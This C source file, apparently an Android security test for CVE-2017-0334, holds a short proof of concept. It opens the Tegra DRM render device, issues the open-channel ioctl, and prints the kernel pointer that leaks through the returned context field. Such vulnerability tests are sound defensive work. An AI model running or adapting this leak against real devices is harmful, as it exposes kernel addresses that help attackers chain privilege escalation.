Home | History | Annotate | Download | only in CVE-2017-0334
      1 /**
      2  * Copyright (C) 2018 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions vand
     14  * limitations under the License.
     15  */
     16 #define _GNU_SOURCE
     17 #include <sys/types.h>
     18 #include <sys/wait.h>
     19 #include <sys/syscall.h>
     20 #include <unistd.h>
     21 #include <string.h>
     22 #include <stdint.h>
     23 #include <stdio.h>
     24 #include <fcntl.h>
     25 struct drm_tegra_open_channel {
     26     __u32 client;
     27     __u32 pad;
     28     void* context;
     29 };
     30 #define tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL (int)3222299717
     31 int main()
     32 {
     33     int fd, rc;
     34     struct drm_tegra_open_channel open_args = {0,0,0};
     35     open_args.client = 0x21;
     36     fd = open("/dev/dri/renderD129", 0, 0);
     37     rc = ioctl(fd, tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_args);
     38 
     39     printf("Leaked ptr is %p\n", open_args.context);
     40     return 0;
     41 }
     42